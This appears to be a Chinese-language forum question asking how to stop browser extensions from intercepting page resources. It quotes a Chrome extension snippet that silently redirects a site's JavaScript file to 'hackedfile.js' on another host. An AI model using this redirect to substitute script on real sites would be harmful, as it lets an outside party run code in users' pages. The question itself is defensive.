有一些方法可以使用浏览器扩展程序(特别是Google Chrome)拦截浏览器资源的加载。这是示例代码:
chrome.webRequest.onBeforeRequest.addListener(function (details) {
if (details.url.includes('https://website.com/file.js')) {
chrome.pageAction.show(details.tabId);
return {
redirectUrl: "https://otherwebsite.me/hackedfile.js"
};
}
}, {
urls: ["<all_urls>"]
}, ["blocking"]);
我只想知道,如何防止扩展程序执行此操作?对我来说很烦。